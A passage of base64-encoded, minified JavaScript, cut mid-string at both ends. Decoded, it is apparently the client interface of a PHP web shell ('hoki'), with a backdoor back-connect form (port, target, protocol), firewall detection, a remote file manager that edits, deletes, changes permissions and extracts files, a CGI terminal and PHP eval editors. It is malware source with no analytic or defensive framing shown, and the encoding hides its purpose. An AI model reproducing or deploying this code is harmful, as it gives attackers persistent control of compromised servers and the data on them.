zYWJsZWQ9ZSwkKCJwb3J0IikudmFsdWU9YSwkKCJ0YXJnZXQiKS52YWx1ZT1jLCQoInByb3RvY29sIikudmFsdWU9dH1mdW5jdGlvbiBpbkJhY2tkb29yKGUpeyJteSI9PWUudmFsdWU/JCgiYmFja2Rvb3JfdGV4dGFyZWEiKS5zdHlsZS5kaXNwbG
F5PSJibG9jayI6JCgiYmFja2Rvb3JfdGV4dGFyZWEiKS5zdHlsZS5kaXNwbGF5PSJub25lIn1mdW5jdGlvbiBzYXZlQnlLZXkoZSl7cmV0dXJuISgicyI9PVN0cmluZy5mcm9tQ2hhckNvZGUoZS53aGljaCkudG9Mb3dlckNhc2UoKSYmZS5jdHJsS
2V5fHwxOT09ZS53aGljaCl8fCgkKCJlZGl0b3JfZWRpdF9hcmVhIikub25zdWJtaXQoKSxlLnByZXZlbnREZWZhdWx0KCksITEpfWZ1bmN0aW9uIGhva2lBamF4RXJyb3IoZSxhLHQsaSl7aWYodm9pZCAwIT09YSl7dmFyIGw9ZC5xdWVyeVNlbGVj
dG9yKCIjbG9hZGVyXyIrYSk7bnVsbCE9bCYmKGZpcmV3YWxsPSIiLDQwMz09ZSYmKGZpcmV3YWxsPSIgfiBGaXJlV2FsbCBEZXRlY3RlZCEiKSxsLnF1ZXJ5U2VsZWN0b3IoImltZyIpLnJlbW92ZSgpLGwucXVlcnlTZWxlY3RvcigiLmhva2ktYWp
heC1lcnJvciIpLmlubmVySFRNTD1lKyIgKCAiK3QrZmlyZXdhbGwrIiApIixob2tpU2hvd05vdGlmaWNhdGlvbih0LCJBamF4IiwiZXJyb3IiKSl9fWZ1bmN0aW9uIGhva2lJbml0Q3dkQ29udGV4dCgpe2QucXVlcnlTZWxlY3RvckFsbCgiLmhlYW
Rlcl9wd2QiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuYWRkRXZlbnRMaXN0ZW5lcigiY29udGV4dG1lbnUiLGZ1bmN0aW9uKGUpe3ZhciBhPWUudGFyZ2V0LmdldEF0dHJpYnV0ZSgicGF0aCIpLHQ9ZC5xdWVyeVNlbGVjdG9yKCIjcmlnaHRjbGlja
19tZW51ID4gYVtuYW1lPW5ld3RhYl0iKTt0LnNldEF0dHJpYnV0ZSgiaHJlZiIsImphdmFzY3JpcHQ6dm9pZCgwKTsiKSx0LnJlbW92ZUF0dHJpYnV0ZSgidGFyZ2V0IiksdC5vbmNsaWNrPWZ1bmN0aW9uKCl7aG9raUZpbGVzTWFuTmV3VGFiKGEs
Ii8iKX07dmFyIGk9ZS5jbGllbnRYLGw9ZS5jbGllbnRZO2hva2lTb3J0TWVudUl0ZW1zKFsibmV3dGFiIl0pLGhva2lSaWdodENsaWNrTWVudShpLGwpLGUucHJldmVudERlZmF1bHQoKX0pfSl9ZnVuY3Rpb24gaG9raVJpZ2h0Q2xpY2tNZW51KGU
sYSl7cmlnaHRjbGlja19tZW51X2NvbnRleHQudG9wPWErInB4IixyaWdodGNsaWNrX21lbnVfY29udGV4dC5sZWZ0PWUrInB4IixyaWdodGNsaWNrX21lbnVfY29udGV4dC52aXNpYmlsaXR5PSJ2aXNpYmxlIixyaWdodGNsaWNrX21lbnVfY29udG
V4dC5vcGFjaXR5PSIxIn1mdW5jdGlvbiBob2tpU29ydE1lbnVJdGVtcyhlKXt2YXIgYT1bIm5ld3RhYiIsImxpbmsiLCJkb3dubG9hZCIsInZpZXciLCJlZGl0IiwibW92ZSIsImNvcHkiLCJyZW5hbWUiLCJtb2RpZnkiLCJwZXJtaXNzaW9uIiwiY
29tcHJlc3MiLCJleHRyYWN0IiwiZGVsZXRlIiwidmlld19hcmNoaXZlIl0sdD0hMTtmb3IodmFyIGkgaW4gYSl7Zm9yKHZhciBsIGluIHQ9ITEsZSlhW2ldIT1lW2xdfHwoZC5xdWVyeVNlbGVjdG9yKCIjcmlnaHRjbGlja19tZW51ID4gYVtuYW1l
PSIrYVtpXSsiXSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIix0PSEwKTt0fHwoZC5xdWVyeVNlbGVjdG9yKCIjcmlnaHRjbGlja19tZW51ID4gYVtuYW1lPSIrYVtpXSsiXSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiKX19ZnVuY3Rpb24gaG9raUFjZUN
oYW5nZVNldHRpbmcoZSxhKXt2YXIgdD1lLm9wdGlvbnNbZS5zZWxlY3RlZEluZGV4XS52YWx1ZSxpPWUuZ2V0QXR0cmlidXRlKCJiYXNlIiksbD1ob2tpX2FjZV9lZGl0b3JzLmVkaXRvcjsiZXZhbCI9PWkmJihsPWhva2lfYWNlX2VkaXRvcnMuZX
ZhbCk7dmFyIG89ZS5nZXRBdHRyaWJ1dGUoImFjZV9pZCIpOyJsYW5nIj09YT9sW29dLnNlc3Npb24uc2V0TW9kZSgiYWNlL21vZGUvIit0KToidGhlbWUiPT1hJiZsW29dLnNldFRoZW1lKCJhY2UvdGhlbWUvIit0KSxzZXRDb29raWUoImhva2lfY
WNlXyIrYSsiXyIraSx0LDIwMTIpfWZ1bmN0aW9uIGhva2lBY2VDaGFuZ2VXcmFwTW9kZShlLGEpe3ZhciB0PWhva2lfYWNlX2VkaXRvcnMuZWRpdG9yOyJldmFsIj09YSYmKHQ9aG9raV9hY2VfZWRpdG9ycy5ldmFsKTt2YXIgaT1lLmdldEF0dHJp
YnV0ZSgiYWNlX2lkIik7ZS5jaGVja2VkP3RbaV0uc2Vzc2lvbi5zZXRVc2VXcmFwTW9kZSghMCk6dFtpXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCExKX1mdW5jdGlvbiBob2tpQWNlQ2hhbmdlRm9udFNpemUoZSxhLHQpe3ZhciBpPWhva2lfYWN
lX2VkaXRvcnMuZWRpdG9yOyJldmFsIj09ZSYmKGk9aG9raV9hY2VfZWRpdG9ycy5ldmFsKTt2YXIgbD10LmdldEF0dHJpYnV0ZSgiYWNlX2lkIiksbz1pW2xdLmdldEZvbnRTaXplKCk7IisiPT1hPysrbzotLW8saVtsXS5zZXRGb250U2l6ZShvKS
xzZXRDb29raWUoImhva2lfYWNlX2ZvbnRzaXplXyIrZSxvLDIwMTIpfWZ1bmN0aW9uIHNldENvb2tpZShlLGEsdCl7dmFyIGk9bmV3IERhdGU7aS5zZXRUaW1lKGkuZ2V0VGltZSgpKzI0KnQqNjAqNjAqMWUzKTt2YXIgbD0iZXhwaXJlcz0iK2kud
G9VVENTdHJpbmcoKTtkb2N1bWVudC5jb29raWU9ZSsiPSIrYSsiOyIrbCsiO3BhdGg9LyJ9ZnVuY3Rpb24gZ2V0Q29va2llKGUpe3ZhciBhPSgiOyAiK2RvY3VtZW50LmNvb2tpZSkuc3BsaXQoIjsgIitlKyI9Iik7aWYoMj09YS5sZW5ndGgpcmV0
dXJuIGEucG9wKCkuc3BsaXQoIjsiKS5zaGlmdCgpfWZ1bmN0aW9uIGVkaXRvckNsb3NlKGUpe2lmKGQuYm9keS5zdHlsZS5vdmVyZmxvdz0idmlzaWJsZSIsZWxlbT0kKGUpLGVsZW0uc2V0QXR0cmlidXRlKCJjbGFzcyIsImVkaXRvci1hbmltLWN
sb3NlIiksImVkaXRvciI9PWUpe2lmKGlzX21pbmltaXplZD0hMSxudWxsIT1ob2tpX2FjZV9lZGl0b3JzLmVkaXRvciYmbnVsbCE9aG9raV9hY2VfZWRpdG9ycy5lZGl0b3Ipe2Zvcih2YXIgYSBpbiBob2tpX2FjZV9lZGl0b3JzLmVkaXRvcilob2
tpX2FjZV9lZGl0b3JzLmVkaXRvclthXS5kZXN0cm95KCk7aG9raV9hY2VfZWRpdG9ycy5lZGl0b3I9bnVsbCxkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVud
C1ob2xkZXIiKS5pbm5lckhUTUw9IiJ9fWVsc2UgaWYoImNnaWxvYWRlciI9PWUpcGhwX3RlbXJpbmFsX3VzaW5nX2NnaSYmKGQucXVlcnlTZWxlY3RvcigiLnRlcm1pbmFsLXRhYnMiKS5pbm5lckhUTUw9IiIsZC5xdWVyeVNlbGVjdG9yKCIudGVy
bWluYWwtY29udGVudHMiKS5pbm5lckhUTUw9IiIpLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITEsY2dpX2lzX21pbmltaXplZD0hMTtlbHNlIGlmKCJvcHRpb25zX3dpbmRvdyI9PWUpe2lmKG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMSx
udWxsIT1ob2tpX2FjZV9lZGl0b3JzLmV2YWwpe2Zvcih2YXIgYSBpbiBob2tpX2FjZV9lZGl0b3JzLmV2YWwpaG9raV9hY2VfZWRpdG9ycy5ldmFsW2FdLmRlc3Ryb3koKTtob2tpX2FjZV9lZGl0b3JzLmV2YWw9bnVsbCxkLnF1ZXJ5U2VsZWN0b3
JBbGwoIi5waHAtZXZhbHMiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVtb3ZlQXR0cmlidXRlKCJhY2UiKX0pfX1lbHNlImRhdGFiYXNlX3dpbmRvdyI9PWUmJihkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkPSExKTtzZXRUaW1lb3V0KGZ1b
mN0aW9uKCl7ZWxlbT0kKGUpLGVsZW0ucmVtb3ZlQXR0cmlidXRlKCJjbGFzcyIpLGVsZW0uc3R5bGUuZGlzcGxheT0ibm9uZSIsIm9wdGlvbnNfd2luZG93Ij09ZSYmKGVsZW0ucXVlcnlTZWxlY3RvcigiLm9wdGlvbnNfdGFiIikuaW5uZXJIVE1M
PSIiLGVsZW0ucXVlcnlTZWxlY3RvcigiLm9wdGlvbnNfY29udGVudCIpLmlubmVySFRNTD0iIil9LDFlMyksZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIn1mdW5jdGlvbiBwb3B1cFdpbmRvd0JhY2tQb3NpdGlvbigpe3ZhciBlPXtjZ2l
sb2FkZXI6Y2dpX2lzX21pbmltaXplZCxvcHRpb25zX3dpbmRvdzpvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQsZGF0YWJhc2Vfd2luZG93OmRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQsZWRpdG9yOmlzX21pbmltaXplZH0sYT1bXTtmb3
IodmFyIHQgaW4gZSllW3RdJiZhLnB1c2godCk7MT09YS5sZW5ndGg/JChhWzBdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiOjI9PWEubGVuZ3RoPygkKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjIwJSIsJChhWzFdKyItbWlua
W1pemVkIikuc3R5bGUudG9wPSI1MCUiKTozPT1hLmxlbmd0aD8oJChhWzBdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIwJSIsJChhWzFdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiLCQoYVsyXSsiLW1pbmltaXplZCIpLnN0eWxlLnRv
cD0iNjAlIik6ND09YS5sZW5ndGgmJigkKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSIsJChhWzJdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI1NSUiLCQoYVszXSs
iLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iODAlIil9ZnVuY3Rpb24gc2hvd0VkaXRvcihlKXtpZigkKGUpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJlZGl0b3ItYW5pbS1zaG93IiksJChlKyItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcy
IsIm1pbmltaXplZC1oaWRlIiksImVkaXRvciI9PWUpaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoImNnaWxvYWRlciI9PWUpY2dpX2lzX21pbmltaXplZD0hMTtlbHNlIGlmKCJvcHRpb25zX3dpbmRvdyI9PWUpe29wdGlvbnNfd2luZG93X2lzX21pb
mltaXplZD0hMTt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUudGFiLWlzLWRvbmUiKTtudWxsIT1hJiZhLmNsYXNz
TGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIil9ZWxzZSJkYXRhYmFzZV93aW5kb3ciPT1lJiYoZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZD0hMSk7cG9wdXBXaW5kb3dCYWNrUG9zaXRpb24oKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGR
lbiJ9ZnVuY3Rpb24gZWRpdG9yTWluaW1pemUoZSl7JChlKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiZWRpdG9yLWFuaW0tbWluaW1pemUiKSwkKGUrIi1taW5pbWl6ZWQiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwibWluaW1pemVkLXNob3ciKSwiZW
RpdG9yIj09ZT9pc19taW5pbWl6ZWQ9ITA6ImNnaWxvYWRlciI9PWU/Y2dpX2lzX21pbmltaXplZD0hMDoib3B0aW9uc193aW5kb3ciPT1lP29wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMDoiZGF0YWJhc2Vfd2luZG93Ij09ZSYmKGRhdGFiY
XNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITApLHBvcHVwV2luZG93QmFja1Bvc2l0aW9uKCksZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIn1mdW5jdGlvbiBjbGVhckVkaXRvckhpc3RvcnkoKXtpZihjb25maXJtKCJBcmUgdSBTdXJlPyIp
KWZvcih2YXIgZSBpbiBlZGl0b3JfZmlsZXMpZSE9ZWRpdG9yX2N1cnJlbnRfZmlsZSYmcmVtb3ZlSGlzdG9yeShlKX1mdW5jdGlvbiBpc0FyY2hpdmUoZSl7dmFyIGEsdD1bIi50YXIuZ3oiLCIudGFyLmJ6MiIsIi50YXIueiIsIi50YXIueHoiLCI
uemlwIiwiLnppcHgiLCIuN3oiLCIuYnoyIiwiLmd6IiwiLnJhciIsIi50YXIiLCIudGd6Il07Zm9yKGEgaW4gdClpZihuZXcgUmVnRXhwKCIoLiopKCIrdFthXS5yZXBsYWNlKC9cLi9nLCJcXC4iKSsiKSQiLCJnaSIpLnRlc3QoZSkpcmV0dXJuIT
A7cmV0dXJuITF9ZnVuY3Rpb24gZWRpdG9yKGUsYSx0LGksbCxvKXtpZigiZGlyIj09byYmIi4uIj09ZSlyZXR1cm4hMTtpZigiZG93bmxvYWQiPT1hKXJldHVybiBnKCJGaWxlc1Rvb2xzIixpLGUsImRvd25sb2FkIiksITE7dmFyIHI9IiIsbj0iI
ixzPSIiLGM9IiIsZj1kLm1mLmMudmFsdWUsXz0hMDtpZihlPWUudHJpbSgpLDA9PU9iamVjdC5rZXlzKGVkaXRvcl9maWxlcykubGVuZ3RoKXt2YXIgdT1nZXRDb29raWUoImhva2lfaGlzdG9yeV9maWxlcyIpO3RyeXtmb3IodmFyIHAgaW4gdT1h
dG9iKHUpLGVkaXRvcl9maWxlcz1KU09OLnBhcnNlKHUpKWluc2VydFRvSGlzdG9yeShwLGVkaXRvcl9maWxlc1twXS5maWxlLDAsZWRpdG9yX2ZpbGVzW3BdLnR5cGUpfWNhdGNoKGUpe319aWYoInBoYXI6Ly8iPT1lLnN1YnN0cigwLDcpKWY9Y18
7ZWxzZSBpZigtMSE9ZS5pbmRleE9mKCIvIikpe3ZhciBtPWUuc3BsaXQoIi8iKTtlPW1bbS5sZW5ndGgtMV0sZGVsZXRlIG1bbS5sZW5ndGgtMV0sZj1tLmpvaW4oIi8iKSxpc2xpbnV4JiYoZj0iLyIrZil9aWYodm9pZCAwPT09byYmKG89IiIpLH
ZvaWQgMCE9PWkmJm51bGwhPWkmJjAhPWkubGVuZ3RoJiYoZj1pLnRyaW0oKSksImF1dG8iPT1hJiZpc0FyY2hpdmUoZSkpcmV0dXJuIGhva2lTeW5jTWVudVRvT3B0KGUsITApLCExO3RyeXtmb3IodmFyIHYgaW4gZWRpdG9yX2ZpbGVzKWlmKGVka
XRvcl9maWxlc1t2XS5maWxlPT1kZWNvZGVVUklDb21wb25lbnQoZSkmJmVkaXRvcl9maWxlc1t2XS5wd2QucmVwbGFjZSgvXC8vZywiIik9PWYucmVwbGFjZSgvXC8vZywiIikpe189ITEsbD12O2JyZWFrfX1jYXRjaChlKXt9aWYoZWRpdG9yX2Vy
cm9yPSEwLHZvaWQgMCE9PXQmJjAhPXQubGVuZ3RoJiZudWxsIT10JiYocj1ob2tpYjY0KHQpKSx2b2lkIDAhPT1sJiZudWxsIT1sJiYwIT1sLmxlbmd0aCluPWhva2liNjQobCkscz1sLGM9bC5yZXBsYWNlKCJmaWxlXyIsIiIpO2Vsc2V7dmFyIGg
9ImZpbGVfIisoYz1nZXRSYW5kb20oMTApKTtuPWhva2liNjQoaCkscz1ofXZhciBiPSJlZGl0b3Jfc291cmNlXyIrYztpZihudWxsPT0kKGIpKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWNvbnRlbnRzLmVkaXRvci1jb250ZW50LWFjdG
l2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXRhYnMgLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSIpLmNsYXNzTGlzdC5yZ
W1vdmUoImVkaXRvci10YWItYWN0aXZlIil9Y2F0Y2goZSl7fWQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCI8ZGl2IG9uY2xpY2s9J2VkaXRvclRhYkNvbnRyb2xsZXIodGhpcyk7
JyBvcHRfaWQ9JyIrYisiJyBpZD0ndGFiXyIrYisiJyBjbGFzcz0nZWRpdG9yLXRhYi1uYW1lIGVkaXRvci10YWItYWN0aXZlJz4iK2RlY29kZVVSSUNvbXBvbmVudChlKSsiIDxpbWcgb3B0X2lkPSciK2IrIicgb25jbGljaz0nY2xvc2VFZGl0b3J
Db250ZW50KHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsnIHRpdGxlPSdbY2xvc2VdJyBzcmM9J2h0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZW
Qtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZyc+PC9kaXY+IiksZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWNvbnRlbnQtaG9sZGVyIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlc
mJlZ2luIiwiPGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRlbnRzIGVkaXRvci1jb250ZW50LWFjdGl2ZScgaWQ9JyIrYisiJz48L2Rpdj4iKX1yZXR1cm4gMD09aXNfbWluaW1pemVkJiYibm9uZSI9PSQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXk/KCQo
ImVkaXRvciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixzaG93RWRpdG9yKCJlZGl0b3IiKSxob2tpbG9hZGVyKGIsImJsb2NrIikpOihpc19taW5pbWl6ZWQmJnNob3dFZGl0b3IoImVkaXRvciIpLG51bGwhPSQoYik/aG9raWxvYWRlcihiLCJibG9
jayIpOihob2tpbG9hZGVyKCJlZGl0b3IiLCJibG9jayIpLGI9ImVkaXRvciIpKSxfQWpheChkLlVSTCwiYT0iK2hva2liNjQoIkZpbGVzVG9vbHMiKSsiJmM9Iitob2tpYjY0KGYpKyImaG9raTE9Iitob2tpYjY0KGUpKyImaG9raTI9Iitob2tpYj
Y0KGEpKyImaG9raTM9IityKyImaG9raTQ9IituKyImaG9raTU9Jmhva2k2PSZob2tpNz0maG9raTg9Jmhva2k5PSZob2tpMTA9JiZhamF4PSIraG9raWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKHQsaSl7dmFyIGw9JCgidGFiXyIraSk7dHJ5e251bGwhP
WwmJigoLTE9PWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImVkaXRvci10YWItYWN0aXZlIil8fGlzX21pbmltaXplZCkmJihsLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIiksaG9raVNob3dOb3RpZmljYXRpb24oInByb2NjZXNzIGlzIGRv
bmUuLi4iLCJFZGl0b3I6ICIrbC5pbm5lclRleHQpKSxpc19taW5pbWl6ZWQmJmhva2lVcGRhdGVPcHRpb25zQmFkZ2UoImVkaXRvciIpKX1jYXRjaCh0KXt9aWYoIm5vbmUiPT0kKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5P2hva2lMb2FkZXJPblR
vcCgibm9uZSIpOmhva2lsb2FkZXIoaSwibm9uZSIpLHIubGVuZ3RoPjAmJiJlZGl0Ij09YSlyZXR1cm4gaXNfbWluaW1pemVkfHxudWxsIT1sJiYtMSE9bC5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZWRpdG9yLXRhYi1hY3RpdmUiKSYmaG9raV
Nob3dOb3RpZmljYXRpb24oInNhdmVkLi4uISIsIkVkaXRvciIpLCExO2lmKG51bGwhPSQoaSkmJigkKGkpLmlubmVySFRNTD10KSxpc19taW5pbWl6ZWQmJmhva2lTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiRWRpdG9yO
iAiK2RlY29kZVVSSUNvbXBvbmVudChlKSksJCgiZWRpdG9yIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGV2YWxKUyh0KSxob2tpTG9hZEFjZUVkaXRvcigidmlld19tbF9jb250ZW50IiksImRlbGV0ZSIhPWEmJmVkaXRvcl9lcnJvcil7dmFyIGM9
ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJpc19hY3RpdmUiKTswIT1jLmxlbmd0aCYmKGNbMF0uY2xhc3NOYW1lPSJmaWxlLWhvbGRlciIpLG49cyxlPWRlY29kZVVSSUNvbXBvbmVudChlKSwhZWRpdG9yX2ZpbGVzW25dJiZfPyhlZGl0b3JfZml
sZXNbbl09e2ZpbGU6ZSxwd2Q6Zix0eXBlOm99LGluc2VydFRvSGlzdG9yeShuLGUsIiBpc19hY3RpdmUiLG8pLCJta2ZpbGUiPT1hJiZnKCJGaWxlc01hbiIsbnVsbCkpOiQobikucGFyZW50Tm9kZS5jbGFzc05hbWUrPSIgaXNfYWN0aXZlIn1kLm
JvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIsZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJmaWxlc3Rvb2xzIilbMF0uc2V0QXR0cmlidXRlKCJmaWQiLG4pLGVkaXRvcl9maWxlc1tuXSYmKGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZWRpd
G9yLXBhdGgiKVswXS5pbm5lckhUTUw9KGVkaXRvcl9maWxlc1tuXS5wd2QrIi8iK2VkaXRvcl9maWxlc1tuXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSksZWRpdG9yX2N1cnJlbnRfZmlsZT1uLHVwZGF0ZUNvb2tpZUVkaXRvcigpfSwhMSxi
KSwhMX1mdW5jdGlvbiBob2tpTG9hZEFjZUVkaXRvcihlLGEpe2lmKHZvaWQgMD09PWEmJihhPSExKSxudWxsPT0kKCJob2tpLWFjZS1wbHVnaW4iKSl7dmFyIHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cmV0dXJuIHQuc3JjPSJ
odHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hY2UvMS40LjExL2FjZS5qcyIsdC5pZD0iaG9raS1hY2UtcGx1Z2luIix0Lm9ubG9hZD1mdW5jdGlvbigpe2hva2lMb2FkQWNlRWRpdG9yKGUsYSl9LGQuYm9keS5hcHBlbmRDaG
lsZCh0KSwhMX10cnl7ImFsbG93Ij09JChlKS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSYmKGE9ITEpfWNhdGNoKGUpe31pZigidmlld19tbF9jb250ZW50Ij09ZSl7bnVsbD09aG9raV9hY2VfZWRpdG9ycy5lZGl0b3ImJihob2tpX2FjZV9lZGl0b3JzL
mVkaXRvcj17fSk7dmFyIGk9Z2V0Q29va2llKCJob2tpX2FjZV90aGVtZV9lZGl0b3IiKSxsPWdldENvb2tpZSgiaG9raV9hY2VfZm9udHNpemVfZWRpdG9yIik7dm9pZCAwPT09aSYmKGk9InRlcm1pbmFsIiksMD09aS5sZW5ndGgmJihpPSJ0ZXJt
aW5hbCIpLGQucXVlcnlTZWxlY3RvckFsbCgiLmVkaXRvci1hY2UtY29udHJvbGxlciIpLmZvckVhY2goZnVuY3Rpb24oZSl7aWYobnVsbCE9ZS5nZXRBdHRyaWJ1dGUoImFjZSIpKXJldHVybiExO2Uuc2V0QXR0cmlidXRlKCJhY2UiLCJvayIpO3Z
hciB0PWdldFJhbmRvbSgxMCksbz1lLnF1ZXJ5U2VsZWN0b3IoIi52aWV3X21sX2NvbnRlbnQiKTtvLnNldEF0dHJpYnV0ZSgiaWQiLCJ2aWV3X21sX2NvbnRlbnQtIit0KSxob2tpX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LS
IrdF09YWNlLmVkaXQobyksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNldFJlYWRPbmx5KGEpLGhva2lfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRTaG93UHJpbnRNYXJna
W4oITEpLGhva2lfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRUaGVtZSgiYWNlL3RoZW1lLyIraSksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNlc3Npb24uc2V0TW9kZSgi
YWNlL21vZGUvcGhwIiksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITApLGhva2lfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5jb21tYW5
kcy5hZGRDb21tYW5kKHtuYW1lOiJzYXZlIixiaW5kS2V5Ont3aW46IkN0cmwtUyIsbWFjOiJDbWQtUyJ9LGV4ZWM6ZnVuY3Rpb24oZSl7ZC5xdWVyeVNlbGVjdG9yKCIjYWNlLXNhdmUtYnRuLSIrdCkuY2xpY2soKX19KSxlLnF1ZXJ5U2VsZWN0b3
IoInNlbGVjdC5hY2UtdGhlbWUtc2VsZWN0b3IiKS52YWx1ZT1pLGUucXVlcnlTZWxlY3RvckFsbCgiLmFjZS1jb250cm9sZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJhY2VfaWQiLCJ2aWV3X21sX2NvbnRlbnQtIit0K
SwtMSE9ZS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWNlLXNhdmUtYnRuIikmJmUuc2V0QXR0cmlidXRlKCJpZCIsImFjZS1zYXZlLWJ0bi0iK3QpfSksdm9pZCAwIT09bCYmc2V0VGltZW91dChmdW5jdGlvbigpe2hva2lfYWNlX2VkaXRvcnMu
ZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRGb250U2l6ZShwYXJzZUludChsKSl9LDFlMyl9KX1lbHNle251bGw9PWhva2lfYWNlX2VkaXRvcnMuZXZhbCYmKGhva2lfYWNlX2VkaXRvcnMuZXZhbD17fSk7aT1nZXRDb29raWUoImhva2l
fYWNlX3RoZW1lX2V2YWwiKSxsPWdldENvb2tpZSgiaG9raV9hY2VfZm9udHNpemVfZXZhbCIpO3ZvaWQgMD09PWkmJihpPSJ0ZXJtaW5hbCIpLDA9PWkubGVuZ3RoJiYoaT0idGVybWluYWwiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5waHAtZXZhbH
MiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKG51bGwhPWUuZ2V0QXR0cmlidXRlKCJhY2UiKSlyZXR1cm4hMTtlLnNldEF0dHJpYnV0ZSgiYWNlIiwib2siKTt2YXIgdD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtZXZhbHMtYWNlIiksbz1nZXRSYW5kb
20oMTApO3Quc2V0QXR0cmlidXRlKCJpZCIsInBocGV2YWwtIitvKSxob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXT1hY2UuZWRpdCh0KSxob2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRSZWFkT25seShhKSxo
b2tpX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRTaG93UHJpbnRNYXJnaW4oITEpLGhva2lfYWNlX2VkaXRvcnMuZXZhbFsicGhwZXZhbC0iK29dLnNldFRoZW1lKCJhY2UvdGhlbWUvIitpKSxob2tpX2FjZV9lZGl0b3JzLmV2YWx
